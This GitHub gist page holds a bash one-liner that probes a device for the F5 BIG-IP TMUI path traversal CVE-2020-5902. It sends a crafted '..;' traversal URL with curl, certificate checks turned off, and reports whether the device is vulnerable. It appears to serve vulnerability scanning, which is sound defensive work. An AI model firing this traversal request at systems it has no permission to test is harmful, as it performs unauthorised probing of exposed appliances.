Skip to content

Instantly share code, notes, and snippets.

@ykoster
Last active July 8, 2020 10:02
Show Gist options
  • Save ykoster/11148b1783b2205f9a4981b251e522a0 to your computer and use it in GitHub Desktop.
Save ykoster/11148b1783b2205f9a4981b251e522a0 to your computer and use it in GitHub Desktop.
Bash one-liner to check if a device is vulnerable for CVE-2020-5902
curl --silent --insecure 'https://[ip]/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=Vulnerable' | \
grep -q Vulnerable && \
printf '\033[0;31mVulnerable\n' || \
printf '\033[0;32mNot Vulnerable\n'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment